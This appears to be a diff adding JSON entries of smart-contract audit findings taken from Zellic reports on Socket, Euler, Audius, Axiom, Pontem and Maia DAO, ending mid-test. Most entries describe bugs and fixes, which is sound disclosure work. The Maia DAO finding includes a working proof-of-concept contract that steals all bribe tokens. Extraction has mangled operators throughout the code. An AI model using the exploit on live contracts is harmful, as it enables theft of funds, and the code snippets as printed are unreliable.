fee updater oracle\u2019s prices. Socket Technology acknowledged this finding, noting: msgValue checks are already in [the execution client] to check it before execution and we are working on the monitoring system. Zellic Socket Technology", + "html_url": "https://github.com/Zellic/publications/blob/master/Socket Data Layer - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Random address recovered from ECDSA\u2019s signature recov- ery may be used for executor fee accounting", + "labels": [ + "Zellic" + ], + "body": "Target: OpenExecutionManager Category: Coding Mistakes Likelihood: Low Severity: Low : Low In OpenExecutionManager, the NatSpec for isExecutor states the following: /** * @notice This function allows all executors * @notice The executor recovered here can be a random address hence should not be used for fee accounting * @param packedMessage Packed message to be executed * @param sig Signature of the message * @return executor Address of the executor * @return isValidExecutor Boolean value indicating whether the executor is valid or not *) function isExecutor( bytes32 packedMessage, bytes memory sig ) external view override returns (address executor, bool isValidExecutor) { executor = signatureVerifier__.recoverSigner(packedMessage, sig); isValidExecutor = true; } Specifically, the notice The executor recovered here can be a random address henc e should not be used for fee accounting is important. The address returned by this function is used within _execute() when updating the executor\u2019s fee accounting: executionManager__.updateExecutionFees( executor_, /) Zellic: this address is from isExecutor() Zellic Socket Technology uint128(messageDetails_.executionFee), messageDetails_.msgId ); If the address recovered is random, the accounting would be incorrect. Document prominently above the isExecutor() function, or alternatively above the call to updateExecutionFees() in _execute(), that executors must provide a valid sig- nature that recovers to their address, as otherwise the executor fee accounting will be done incorrectly. This issue has been acknowledged by Socket Technology, and a fix was implemented in commit 00688523. They have also stated that executor\u2019s nodes will go through rigorous testing that should catch any issues like this. Zellic Socket Technology", + "html_url": "https://github.com/Zellic/publications/blob/master/Socket Data Layer - Zellic Audit Report.pdf" + }, + { + "title": "3.5 ExecutionManager should assert function requirements", + "labels": [ + "Zellic" + ], + "body": "Target: ExecutionManager Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The payAndCheckFees function uses the maxPacketLength_ argument to reduce the transmission fees to split the fee between messages in the packet: function payAndCheckFees( uint256 minMsgGasLimit_, uint256 payloadSize_, bytes32 executionParams_, bytes32, uint32 siblingChainSlug_, uint128 switchboardFees_, uint128 verificationOverheadFees_, address transmitManager_, address switchboard_, uint256 maxPacketLength_ ) { external payable override returns (uint128 executionFee, uint128 transmissionFees) if (msg.value >) type(uint128).max) revert InvalidMsgValue(); uint128 msgValue = uint128(msg.value); /) transmission fees are per packet, so need to divide by number of messages per packet transmissionFees = transmissionMinFees[transmitManager_][siblingChainSlug_] / uint128(maxPacketLength_); This value is ultimately passed from the SocketSrc.outbound function, where it is fetched from the capacitor: Zellic Socket Technology function outbound( uint32 siblingChainSlug_, uint256 minMsgGasLimit_, bytes32 executionParams_, bytes32 transmissionParams_, bytes calldata payload_ ) external payable override returns (bytes32 msgId) { /) [...))] /) fetches auxillary details for the message from the plug config plugConfig.capacitor__ = _plugConfigs[msg.sender][siblingChainSlug_] .capacitor__; /) [...))] ISocket.Fees memory fees = _validateAndSendFees( minMsgGasLimit_, uint256(payload_.length), executionParams_, transmissionParams_, plugConfig.outboundSwitchboard__, plugConfig.capacitor__.getMaxPacketLength(), /) Zellic: this is `maxPacketLength_` siblingChainSlug_ ); During our assessment, there were only two capacitor/decapacitor pairs available to deploy through CapacitorFactory: SingleCapacitor \u2014 hardcoded maximum packet length of 1. HashChainCapacitor \u2014 variable maximum packet length between 0[2] and Hash ChainCapacitor.MAX_LEN: constructor( address socket_, address owner_, uint256 maxPacketLength_ 2 Though HashChainCapacitor is out of scope, we wanted to document the possibility of a division by zero in the transmission fee splitting because the maximum packet length can be zero. Zellic Socket Technology ) BaseCapacitor(socket_, owner_) { if (maxPacketLength > MAX_LEN) revert InvalidPacketLength(); maxPacketLength = maxPacketLength_; } There are currently limits on the maxPacketLength. However, there is risk of a future capacitor/decapacitor pair being written that does not enforce a maximum packet length because the variable is checked at the capacitor level. If a maxPacketLength were greater than the transmission fees, no transmission fees would be paid. Additionally, a tiny amount of transmission fees are regularly lost in precision from the division. As the transmission fees decrease or maxPacketLength increases, the division loses precision, and fees are lost because the division rounds down. We recommend the following: Enforce a maximum value for maxPacketLength as a payAndCheckFees function requirement or in CapacitorFactory when deploying the capacitor/decapacitor contract pair. Enforce a minimum value transmission fee, though keep it relatively insignificant. This ensures parties are properly compensated even in cases of high maxPacket Length values. Round the division up to prevent transmission fee losses due to precision. Socket Technology acknowledged this finding, adding that they will add the maxP acketLength check in CapacitorFactory. This change was implemented in commit 83d6d0af. Zellic Socket Technology", + "html_url": "https://github.com/Zellic/publications/blob/master/Socket Data Layer - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Risk of proof type confusion", + "labels": [ + "Zellic" + ], + "body": "Target: SocketDst Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The Socket Data Layer protocol supports capacitors and decapacitors. Capacitors are used on the sending chain to pack packets into messages. These messages can then be sealed by transmitters and subsequently transmitted to a remote chain. A decapacitor on the remote chain would then be able to unpack this message so that it may be executed. There are currently two types of capacitors: SingleCapacitor HashChainCapacitor A plug can choose to change the capacitors it uses by simply changing the switch- boards that it is using (which is what the capacitors and decapacitors are connected to). This can be done without any restrictions at any point in time. Currently, the two capacitor and decapacitor implementations are mutually exclusive. That is to say that a packed message packed by the SingleCapacitor would fail to be unpacked by the HashChainDecapacitor. This is what the ideal scenario is. However, it is possible that with future implementations of new capacitor types, a message packed by one capacitor may actually be able to be unpacked by a com- pletely different decapacitor. In this case, the unpacked message would very likely not match the original message that was sent, and therefore an arbitrary message may get executed. There is no immediate risk presented by the capacitors and decapacitors in scope, but we recommend that Socket Data Layer be very careful when introducing new types of capacitors. Ensure that all implemented capacitors are mutually exclusive (as they are now), or consider adding restrictions on when a plug can change its switchboard implementations. Additionally, consider adding type information to packets that specifies which capaci- Zellic Socket Technology tor generated the proof and thus which decapacitor should be used to verify message inclusion using the proof. This would eliminate this class of threat entirely because type confusion would no longer be possible. Socket Technology acknowledged this finding, noting that users should only use vet- ted and reputable plugs, and such plugs should pause functionality and take care of all in-flight messages prior to changing switchboards. They also noted that changing switchboards should be a fairly rare occurrence: Switchboard change is expected to be rare. Plugs would have to pause new messages and finish all in flight ones before they change it for graceful migration. Zellic Socket Technology", + "html_url": "https://github.com/Zellic/publications/blob/master/Socket Data Layer - Zellic Audit Report.pdf" + }, + { + "title": "3.7 Gas optimization for switchboard registration", + "labels": [ + "Zellic" + ], + "body": "Target: SwitchboardBase Category: Gas Optimization Likelihood: N/A Severity: Informational : Informational Within the registerSiblingSlug() function of NativeSwitchboardBase, there is an al- ready initialized check: function registerSiblingSlug(/) ...)) *)) external override onlyRole(GOVERNANCE_ROLE) { if (isInitialized) revert AlreadyInitialized(); initialPacketCount = initialPacketCount_; (address capacitor, ) = socket__.registerSwitchboardForSibling(/) ...)) *)); isInitialized = true; capacitor__ = ICapacitor(capacitor); remoteNativeSwitchboard = remoteNativeSwitchboard_; } This check is here because the registerSwitchboardForSibling() function that is called on the socket__ can only be called once. This initialization check prevents gas from being wasted on an unnecessary call if the switchboard has already been regis- tered. The above check is nonexistent in the corresponding SwitchboardBase contract, which can lead to a waste of a small amount of gas if the switchboard owner calls registerSiblingSlug() after the switchboard has already been initialized. Consider adding an initialization check in the registerSiblingSlug() function within the SwitchboardBase contract. Zellic Socket Technology This issue has been acknowledged by Socket Technology. Zellic Socket Technology", + "html_url": "https://github.com/Zellic/publications/blob/master/Socket Data Layer - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Single-step ownership transfer may cause loss of contract ownership", + "labels": [ + "Zellic" + ], + "body": "Target: EulerClaims.sol Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The transferOwnership() function is used to transfer ownership of the contract to a different address. This is done in a single step, meaning that the ownership is fully transferred after this function is called. function transferOwnership(address newOwner) external onlyOwner { require(newOwner !) address(0), \"owner is zero\"); owner = newOwner; emit OwnerChanged(newOwner); } The function checks that the new owner is not set to address(0) to prevent an erro- neous transfer of ownership. However, there is still a risk that the owner may input an incorrect address for the new owner, either due to a typo or other mistakes. If this happens, it can result in a loss of ownership of the contract, potentially leading to unclaimed funds being permanently locked into the contract. Consider using a two-step ownership transfer mechanism. See OpenZeppelin\u2019s im- plementation of Ownable2Step here. This issue has been acknowledged by Euler Labs Ltd.. Zellic Euler Labs Ltd. 4 Threat Model This provides a full threat model description for various functions. As time permitted, we analyzed each function in the smart contracts and created a written threat model for some critical functions. A threat model documents a given function\u2019s externally controllable inputs and how an attacker could leverage each input to cause harm. Not all functions in the audit scope may have been modeled. The absence of a threat model in this section does not necessarily suggest that a function is safe.", + "html_url": "https://github.com/Zellic/publications/blob/master/Euler - Zellic Audit Report.pdf" + }, + { + "title": "4.1 Module: EulerClaims.sol Function: claimAndAgreeToTerms(byte[32] acceptanceToken, uint256 index, TokenAmount tokenAmounts, byte[32] proof) Used by users to claim their redemption tokens. Inputs", + "labels": [ + "Zellic" + ], + "body": "acceptanceToken \u2013 Control: Fully controlled. \u2013 Constraints: Must be a hash of the user\u2019s address concatenated with a pre- set terms and conditions hash. \u2013 : Reverts if this is not correct. index \u2013 Control: Fully controlled. \u2013 Constraints: Used to verify the Merkle proof, so it cannot be forged. \u2013 : Reverts if forged. tokenAmounts \u2013 Control: Fully controlled. \u2013 Constraints: Used to verify the Merkle proof, so it cannot be forged. \u2013 : Reverts if forged. proof \u2013 Control: Fully controlled. \u2013 Constraints: The proof that the other inputs are verified against. Cannot be forged as it is used to get back to the Merkle root. \u2013 : Reverts if forged. Zellic Euler Labs Ltd. Branches and code coverage (including function calls) Intended branches Simple Merkle tree works correctly. 4\u25a1 Test coverage Large Merkle tree works correctly. 4\u25a1 Test coverage Negative behavior Reverts if terms and conditions were not accepted. 4\u25a1 Negative test Reverts if an invalid proof is passed in. 4\u25a1 Negative test Reverts if an invalid index is passed in. 4\u25a1 Negative test Reverts if the user claiming the tokens is not eligible to them. 4\u25a1 Negative test Reverts if tokenAmounts is forged or tampered with. 4\u25a1 Negative test Zellic Euler Labs Ltd. 5 Audit Results At the time of our audit, the code was not deployed to mainnet Ethereum. During our audit, we discovered two findings. Both were suggestions (informational). Euler Labs Ltd. acknowledged all findings and implemented fixes.", + "html_url": "https://github.com/Zellic/publications/blob/master/Euler - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Voting can potentially be influenced via restaking", + "labels": [ + "Zellic" + ], + "body": "Target: GovernanceV2 Category: Business Logic Likelihood: Low Severity: High : High Currently, the magnitude of a vote is determined when it is submitted, based on the total stake of the user that submits the vote. function submitVote(uint256 _proposalId, Vote _vote) external { /) ...)) address voter = msg.sender; /) ...)) /) Require voter has non-zero total active stake uint256 voterActiveStake = _calculateAddressActiveStake(voter); require( voterActiveStake > 0, \u201cGovernance: Voter must be address with non-zero total active stake.\u201d ); /) Record vote proposals[_proposalId].votes[voter] = _vote; /) Record voteMagnitude for voter proposals[_proposalId].voteMagnitudes[voter] = voterActiveStake; /) ...)) } function _calculateAddressActiveStake(address _address) private view returns (uint256) { Zellic Tiki Labs Inc. ServiceProviderFactory spFactory = ServiceProviderFactory(serviceProviderFactoryAddress); DelegateManager delegateManager = DelegateManager(delegateManagerAddress); /) Amount directly staked by address, if any, in ServiceProviderFactory (uint256 directDeployerStake,,,,,) = spFactory.getServiceProviderDetails(_address); /) Amount of pending decreasedStakeRequest for address, if any, in ServiceProviderFactory (uint256 lockedDeployerStake,) = spFactory.getPendingDecreaseStakeRequest(_address); /) active deployer stake = (direct deployer stake - locked deployer stake) uint256 activeDeployerStake = directDeployerStake.sub(lockedDeployerStake); /) Total amount delegated by address, if any, in DelegateManager uint256 totalDelegatorStake = delegateManager.getTotalDelegatorStake(_address); /) Amount of pending undelegateRequest for address, if any, in DelegateManager (,uint256 lockedDelegatorStake, ) = delegateManager.getPendingUndelegateRequest(_address); /) active delegator stake = (total delegator stake - locked delegator stake) uint256 activeDelegatorStake = totalDelegatorStake.sub(lockedDelegatorStake); /) activeStake = (activeDeployerStake + activeDelegatorStake) uint256 activeStake = activeDeployerStake.add(activeDelegatorStake); return activeStake; } As currently designed, there exists no checks on whether the staking/unstaking lock- ing period is greater than the voting period. Imagine the following scenario: Zellic Tiki Labs Inc. 1. User A votes \u201cYES\u201d on a proposal, then unstakes their share and transfers it to user B. 2. User B stakes, then votes \u201cYES\u201d on the same proposal, effectively pumping the voting weight. 3. The process could repeat over and over, as long as the staking/unstaking locking periods fit in the voting period of the proposal. As discussed with the Audius team, we determined that currently the contracts are se- cure, since the staking lockup period is greater than the voting period. This means that despite the fact that theoretically the attack may be possible under specific circum- stances (e.g., locking period of staking is way less than the voting period of proposal), it is impossible to perform it as per the current state of the contracts. The fix, as proposed by the Audius team, would be to enforce that the unstake period is always greater than the voting period of a proposal. The issue has been addressed in pull request 4358. Zellic Tiki Labs Inc.", + "html_url": "https://github.com/Zellic/publications/blob/master/Audius EVM - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Initialize check is missing from some functions", + "labels": [ + "Zellic" + ], + "body": "Target: DelegateManager(V2), WormholeClient Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The _requireIsInitialized function is available in contracts that inherit the Initializ ableV2 contract and is used to ensure that the child contract has been initialized before performing any other function call. Currently, the cancelRemoveDelegatorRequest in De legateManagerV2 and DelegateManager and transferTokens in WormholeClient miss this important check. There are no direct security implications of these instances of omitting the _requireIs Initialized check; however, the functions that should implement it and currently do not would revert. In order to keep a consistent code design and follow best practices over all the con- tracts and their functions, we recommend adding the _requireIsInitialized function call in the two functions mentioned above. /) DelegateManagerV2.sol, DelegateManager.sol function cancelRemoveDelegatorRequest(address _serviceProvider, address _delegator) external { _requireIsInitialized(); require( msg.sender =) _serviceProvider |) msg.sender =) governanceAddress, ERROR_ONLY_SP_GOVERNANCE ); require( removeDelegatorRequests[_serviceProvider][_delegator] !) 0, \u201cDelegateManager: No pending request\u201d ); /) Reset lockup expiry removeDelegatorRequests[_serviceProvider][_delegator] = 0; Zellic Tiki Labs Inc. emit RemoveDelegatorRequestCancelled(_serviceProvider, _delegator); } /) WormholeClient.sol function transferTokens( address from, uint256 amount, uint16 recipientChain, bytes32 recipient, uint256 arbiterFee, uint deadline, uint8 v, bytes32 r, bytes32 s ) public { _requireIsInitialized(); /) ...)) The issues have been addressed in pull request 4360. Zellic Tiki Labs Inc.", + "html_url": "https://github.com/Zellic/publications/blob/master/Audius EVM - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Stake contract address should not change once set", + "labels": [ + "Zellic" + ], + "body": "Target: Project-wide Category: Business Logic Likelihood: N/A Severity: Medium : Medium Currently, the address of the staking contract is stored in a variable called stakingAd dress and can be set via the setStakingAddress function, an action that can only be performed by the governanceAddress. There is no check put in place, however, on whether the stakingAddress has been previously set or not. Changing the staking address after users have already interacted with it may result in a significant confusion between the user and the contracts they are supposed to interact with. This is mainly because the accounts mapping, which stores the amounts staked by each user, would not reflect what the user has staked in the initial Staking contract. We strongly recommend that once set, the stakingAddress should not be changeable. function setStakingAddress(address _stakingAddress) external { _requireIsInitialized(); require(stakingAddress =) address(0), ERROR_STAKING_ALREADY_SET); require(msg.sender =) governanceAddress, ERROR_ONLY_GOVERNANCE); stakingAddress = _stakingAddress; emit StakingAddressUpdated(_stakingAddress); } The issues have been addressed in pull request 4362. Zellic Tiki Labs Inc.", + "html_url": "https://github.com/Zellic/publications/blob/master/Audius EVM - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Unused allowance", + "labels": [ + "Zellic" + ], + "body": "Target: ClaimsManager Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The initiateRound functions approves a transfer; however, this allowance is not used by the safeTransfer. function initiateRound() external { ...)) audiusToken.mint(address(this), recurringCommunityFundingAmount); /) Approve transfer to community pool address audiusToken.approve(communityPoolAddress, recurringCommunityFundingAmount); /) Transfer to community pool address ERC20(address(audiusToken)).safeTransfer(communityPoolAddress, recurringCommunityFundingAmount); ...)) This allows communityPoolAddress to receive twice the allotted claims from the claim sManager. Currently this does not pose an active security issue as EthRewardsManager is only managed by governance; however, if the communityPoolAddress changed, this could result in a more severe vulnerability. Remove the approval, or use safeTransferFrom instead of safeTransfer. The issue has been addressed in pull request 4359. Zellic Tiki Labs Inc.", + "html_url": "https://github.com/Zellic/publications/blob/master/Audius EVM - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Inconsistent usage of SafeMath", + "labels": [ + "Zellic" + ], + "body": "Target: Project-wide Category: Coding Mistakes Likelihood: Low Severity: Low : Low Solidity version 0.5 does not have inbuilt overflow or underflow protections. As a consequence of this, SafeMath should be used in areas where overflow or underflow are not the intended behavior, such that the operations revert safely. As an example, underflow protection should be implemented in the function below: function _removeFromInProgressProposals(uint256 _proposalId) internal { ...)) inProgressProposals[index] = inProgressProposals[inProgressProposals.length - 1]; inProgressProposals.pop(); } In the areas affected, we only noted reverts; however, future commits could change the behaviour of certain affected functions, leading to more severe vulnerabilities. Use SafeMath wherever overflow is not intended behavior. The issue has been fixed in pull request 4361. Zellic Tiki Labs Inc.", + "html_url": "https://github.com/Zellic/publications/blob/master/Audius EVM - Zellic Audit Report.pdf" + }, + { + "title": "3.1 The decompose_rlp_array_phase1 is missing in receipt-query circuits", + "labels": [ + "Zellic" + ], + "body": "Target: receipt/circuit.rs Category: Coding Mistakes Likelihood: High Severity: High : High The receipt circuit deals with the receipts and the parsing of receipts into various fields and logs as well as the parsing of logs into topics and data. One of the main functions inside the receipt-query circuit is the parse_log function, which parses a log by de- composing the RLP encoded byte array into a list of addresses, topics, and data. The topics byte array is then once again RLP decoded into a list of topics. These two RLP decompositions are done via the RlpChip\u2019s decompose_rlp_array_phase0. However, unlike every other usage of decompose_rlp_array_phase0, there is no corre- sponding decompose_rlp_array_phase1 being done on the RlpArrayWitness at the relevant phase. This leads to a soundness issue. The RLP decomposition of the logs into addresses, topics, and data and the RLP de- composition of topics into a variable length list of topics is underconstrained. We recommend adding the decompose_rlp_array_phase1 calls appropriately to avoid soundness vulnerabilities. This issue has been acknowledged by Axiom, and fixes were implemented in the fol- lowing commits: 4f73b7bb 5985b263 Zellic Axiom", + "html_url": "https://github.com/Zellic/publications/blob/master/Axiom November - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Implicit precision loss in stable_curve:)lp_value", + "labels": [ + "Zellic" + ], + "body": "Target: liquidswap::stable_curve Category: Business Logic Likelihood: Low Severity: Low : Low In stable_curve:)lp_value, coins with more than eight decimals experience implicit precision loss. The current implementation returns the LP value scaled by (10 ^ 8) ^ 4 in order to maintain precision across division: public fun lp_value(x_coin: u128, x_scale: u64, y_coin: u128, y_scale: u64): U256 { let x_u256 = u256:)from_u128(x_coin); let y_u256 = u256:)from_u128(y_coin); let u2561e8 = u256:)from_u128(ONE_E_8); let x_scale_u256 = u256:)from_u64(x_scale); let y_scale_u256 = u256:)from_u64(y_scale); let _x = u256:)div( u256:)mul(x_u256, u2561e8), x_scale_u256, ); let _y = u256:)div( u256:)mul(y_u256, u2561e8), y_scale_u256, ); let _a = u256:)mul(_x, _y); /) ((_x * _x) / 1e18 + (_y * _y) / 1e18) let _b = u256:)add( u256:)mul(_x, _x), u256:)mul(_y, _y), ); u256:)mul(_a, _b) } Zellic Pontem Network However, this means that stable_curve:)lp_value will return inaccurate values when coins have more decimals. Loss of precision in LP value calculations can cause fees to be unexpectedly high: Sit- uations where a swap would theoretically increase LP value might fail. This precision loss will also affect the accuracy of router functions. When coins have more than eight decimals, either rounding should be handled ex- plicitly or they should be disallowed from the protocol. Another option is to use the numerator max(x_scale, y_scale) instead of 10 ^ 8 to mitigate precision loss. Still, coins with unusually high precision would need to be either disallowed or explicitly considered in order to avoid overflow problems. This issue has been acknowledged by Pontem Network. Zellic Pontem Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Pontem Liquidswap - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Incorrect rounding behavior in router:)get_coin_in_with_ fees", + "labels": [ + "Zellic" + ], + "body": "Target: liquidswap::router Category: Coding Mistakes Likelihood: Low Severity: Low : Low In the function router:)get_coin_in_with_fees, the result is rounded up incorrectly for both stable and uncorrelated curves, which can lead to an undue amount being paid in fees. The formula for rounding up integer division is (n - 1)/d + 1 for n > 0. let coin_in = (stable_curve:)coin_in( (coin_out as u128), scale_out, scale_in, (reserve_out as u128), (reserve_in as u128), ) as u64) + 1; (coin_in * fee_scale / fee_multiplier) + 1 The stable curve branch of router:)get_coin_in_with_fees does not correctly imple- ment the formula stated above. let coin_in = math:)mul_div( coin_out, /) y reserve_in * fee_scale, /) rx * 1000 new_reserves_out /) (ry - y) * 997 ) + 1; Furthermore, the uncorrelated curve branch also incorrectly implements the formula stated above. For certain swap amounts, a user could end up paying more in fees than would be accurate. Zellic Pontem Network In the case of the stable curve branch of router:)get_coin_in_with_fees, the code should be rewritten to adhere to the rounded up integer division formula. let coin_in = (stable_curve:)coin_in( (coin_out as u128), scale_out, scale_in, (reserve_out as u128), (reserve_in as u128), ) as u64); let n = coin_in * fee_scale; if (n > 0) { ((n - 1) / fee_multiplier) + 1 } else { } Likewise, the uncorrelated curve branch also needs a revision. /) add to liquidswap:)math public fun mul_div_rounded_up(x: u64, y: u64, z: u64): u64 { assert!(z !) 0, ERR_DIVIDE_BY_ZERO); let n = (x as u128) * (y as u128); let r = if (n > 0) { ((n - 1) / (z as u128)) + 1 } else { } (r as u64) } let coin_in = math:)mul_div_rounded_up( coin_out, /) y reserve_in * fee_scale, /) rx * 1000 new_reserves_out /) (ry - y) * 997 ); Zellic Pontem Network Pontem Network fixed this issue in commit 0b01ed6 Zellic Pontem Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Pontem Liquidswap - Zellic Audit Report.pdf" + }, + { + "title": "3.4 lp_account:)retrieve_signer_cap should be a friend to liq uidity_pool", + "labels": [ + "Zellic" + ], + "body": "Target: liquidswap::lp_account Category: Coding Mistakes Likelihood: Low Severity: Low : Low The function lp_account:)retrieve_signer_cap can currently be called by any mod- ule. If lp_account:)retrieve_signer_cap is called by a function other than liquidity_ pool:)initialize, then the initialization process of Liquidswap will be unable to move forward. The initialization of Liquidswap can be griefed. This will make liquidswap inaccessible to any users. The function lp_account:)retrieve_signer_cap needs to be marked as pub(friend), and the module liquidswap:)liquidity_pool needs to be added as a friend to liquid swap:)lp_account. This issue has been acknowledged by Pontem Network. Zellic Pontem Network 4 Formal Verification The Move language is designed to support formal verifications against specifications. Currently, there are a number of these written for the liquidswap:)math module. We encourage further verification of contract functions as well as some improvements to current specifications. Here are some examples. 4.1 liquidswap:)math First, the specification for math:)overflow_add could be improved. The purpose of this function is to add u128 integers, but allowing for overflow. spec overflow_add { ensures result <) MAX_U128; ensures a + b <) MAX_U128 ==> result =) a + b; ensures a + b > MAX_U128 ==> result !) a + b; ensures a + b > MAX_U128 &) a < (MAX_U128 - b) ==> result =) a - (MAX_U128 - b) - 1; ensures a + b > MAX_U128 &) b < (MAX_U128 - a) ==> result =) b - (MAX_U128 - a) - 1; ensures a + b <) MAX_U128 ==> result =) a + b; } However, this does not reflect how the function should work conceptually. Instead, consider the following specification: spec overflow_add { ///)) The function should never abort. aborts_if false; ///)) Addition should overflow if the sum exceeds `MAX_U128` ensures result =) (a + b) % (MAX_U128 + 1); } This checks that the function cannot abort and makes the desired functionality more clear. Zellic Pontem Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Pontem Liquidswap - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Missing access control on addGaugetoFlywheel", + "labels": [ + "Zellic" + ], + "body": "Target: BribesFactory Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The BribesFactory has a method to add a gauge to an existing flywheel: function addGaugetoFlywheel(address gauge, address bribeToken) external { if (address(flywheelTokens[bribeToken]) =) address(0)) createBribeFlywheel(bribeToken); flywheelTokens[bribeToken].addStrategyForRewards(ERC20(gauge)); } There is no access control on this method, allowing anyone to add a gauge that will end up as a strategy for rewards on the flywheel. Using a malicious strategy, it is possible for an attacker to use a single bHermes token to steal all the bribe tokens from the flywheel rewards contract. This is because gaugeWeight.incrementGauge does not check that the gauge is in the allowlist (see 3.15), allowing the attacker to boost their malicious strategy and cause flywheelBooster.boostedTotalSupply(strategy) to return a value of 1 when accruing the strategy and user: function accrueStrategy(ERC20 strategy, uint256 state) private returns (uint256 rewardsIndex) { uint256 strategyRewardsAccrued = _getAccruedRewards(strategy); rewardsIndex = state; if (strategyRewardsAccrued > 0) { uint256 supplyTokens = address(flywheelBooster) !) address(0) ? flywheelBooster.boostedTotalSupply(strategy) : strategy.totalSupply(); Zellic Maia DAO uint224 deltaIndex; if (supplyTokens !) 0) deltaIndex = ((strategyRewardsAccrued * ONE) / supplyTokens).toUint224(); rewardsIndex += deltaIndex; strategyIndex[strategy] = rewardsIndex; } } function accrueUser(ERC20 strategy, address user, uint256 index) private returns (uint256) { uint256 supplierIndex = userIndex[strategy][user]; userIndex[strategy][user] = index; if (supplierIndex =) 0) { supplierIndex = ONE; } uint256 deltaIndex = index - supplierIndex; uint256 supplierTokens = address(flywheelBooster) !) address(0) ? flywheelBooster.boostedBalanceOf(strategy, user) : strategy.balanceOf(user); uint256 supplierDelta = (supplierTokens * deltaIndex) / ONE; uint256 supplierAccrued = rewardsAccrued[user] + supplierDelta; rewardsAccrued[user] = supplierAccrued; emit AccrueRewards(strategy, user, supplierDelta, index); return supplierAccrued; } As flywheelBooster.boostedTotalSupply(strategy) is equal to flywheelBooster.boost edBalanceOf(strategy, user), the user is rewarded all of the tokens from _getAccrued Rewards(strategy), and this value comes directly from the malicious strategy allowing the users to take all of the bribe tokens. To confirm this finding, we wrote the following test case: contract StealBribes { Zellic Maia DAO UniswapV3GaugeFactory uniswapV3GaugeFactory; address bribeToken; bHermesGauges gaugeWeight; function accrueBribes(address user) public {} function getRewards() public returns (uint) { FlywheelCore flywheel = uniswapV3GaugeFactory.bribesFactory().flywheelTokens(bribeToken); return ERC20(bribeToken).balanceOf(flywheel.flywheelRewards()); } function steal(UniswapV3GaugeFactory _uniswapV3GaugeFactory, address _bribeToken, bHermesGauges _gaugeWeight) external { uniswapV3GaugeFactory = _uniswapV3GaugeFactory; bribeToken = _bribeToken; gaugeWeight = _gaugeWeight; bHermes bHermes = bHermes(gaugeWeight.bHermes()); bHermes.claimWeight(1); gaugeWeight.incrementDelegation(address(this), 1); gaugeWeight.incrementGauge(address(this), 1); uniswapV3GaugeFactory.bribesFactory().addGaugetoFlywheel(address(this), bribeToken); FlywheelCore flywheel = uniswapV3GaugeFactory.bribesFactory().flywheelTokens(bribeToken); FlywheelBribeRewards(flywheel.flywheelRewards()) .setRewardsDepot(SingleRewardsDepot(address(this))); flywheel.accrue(ERC20(address(this)), address(this)); flywheel.claimRewards(address(this)); } } function testBribeGauge() external { MockERC20 bribeToken = new MockERC20(\u201ctest bribe token\u201d, \u201cBTKN\u201d, 18); uniswapV3GaugeFactory.bribesFactory() .createBribeFlywheel(address(bribeToken)); FlywheelCore flywheel = uniswapV3GaugeFactory.bribesFactory() .flywheelTokens(address(bribeToken)); Zellic Maia DAO FlywheelBribeRewards bribeRewards = FlywheelBribeRewards(flywheel.flywheelRewards()); bribeToken.mint(address(bribeRewards), 100000 ether); UniswapV3Gauge gauge = createGaugeAndAddToGaugeBoost(pool, 10); uniswapV3GaugeFactory.addBribeToGauge(gauge, address(bribeToken)); hevm.prank(address(0x666)); StealBribes stealBribes = new StealBribes(); rewardToken.mint(address(this), 1); rewardToken.approve(address(bHermesToken), 1); bHermesToken.deposit(1, address(stealBribes)); hevm.prank(address(0x666)); stealBribes.steal(uniswapV3GaugeFactory, address(bribeToken), bHermesToken.gaugeWeight()); assertEq(bribeToken.balanceOf(address(stealBribes)), 100000 ether); } This allows an attacker to steal all of the bribe tokens held by the flywheel rewards contract. The onlyGaugeFactory modifier should be used to prevent anyone but the factory from adding gauges to the flywheel. This issue was fixed by Maia DAO in commit f7ab226. Zellic Maia DAO", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO February 2023 - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Missing transfer hook in TalosStrategyStaked", + "labels": [ + "Zellic" + ], + "body": "Target: TalosStrategyStaked Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The TalosStrategyStaked is created by the TalosStrategyStakedFactory and added to the flywheel: function createTalosV3Strategy( IUniswapV3Pool pool, ITalosOptimizer optimizer, address strategyManager, bytes memory data ) internal override returns (TalosBaseStrategy strategy) { BoostAggregator boostAggregator = abi.decode(data, (BoostAggregator)); strategy = DeployStaked.createTalosV3Strategy( pool, optimizer, boostAggregator, strategyManager, flywheel, owner() ); flywheel.addStrategyForRewards(strategy); } The strategy is responsible for managing a Uniswap V3 non-fungible position and can either rerange or rebalance and try collecting and accruing user rewards. When flywheel.accrue is called, the amount of rewards a user accrues is based on their balance of the strategy: function accrueUser(ERC20 strategy, address user, uint256 index) private returns (uint256) { uint256 supplierIndex = userIndex[strategy][user]; userIndex[strategy][user] = index; Zellic Maia DAO if (supplierIndex =) 0) { supplierIndex = ONE; } uint256 deltaIndex = index - supplierIndex; uint256 supplierTokens = address(flywheelBooster) !) address(0) ? flywheelBooster.boostedBalanceOf(strategy, user) : strategy.balanceOf(user); uint256 supplierDelta = (supplierTokens * deltaIndex) / ONE; uint256 supplierAccrued = rewardsAccrued[user] + supplierDelta; rewardsAccrued[user] = supplierAccrued; emit AccrueRewards(strategy, user, supplierDelta, index); return supplierAccrued; } The issue is that since TalosStrategyStaked implements ERC20, there is nothing to stop someone from transferring their strategy tokens to another user and claiming the re- ward again. To confirm this finding, we wrote the following test case: function testTransferStalkerTokens() public { address user3 = address(0xFACE1); uint amount0Desired = 10000; deposit(amount0Desired, amount0Desired, user1); talosBaseStrategy.rerange(); flywheel.accrue(talosBaseStrategy, user1); 